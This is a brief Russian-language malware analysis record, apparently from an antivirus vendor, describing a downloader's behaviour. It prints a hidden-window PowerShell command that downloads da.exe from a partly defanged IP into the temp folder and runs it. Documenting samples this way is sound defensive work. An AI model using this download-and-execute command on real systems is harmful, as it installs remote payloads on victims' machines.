Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://18#.#89.58.222/da.exe как ([system.io.path]::gettemppath(
Сетевая активность
Подключается к
- '18#.#89.58.222':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (New-Object System.Net.WebClient).DownloadFile('http://18#.#89.58.222/da.exe',([System.IO.Path]::GetTempPath()+'\iqLk.exe'));powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Process -Filepath %TEMP%\\iqLk.exe
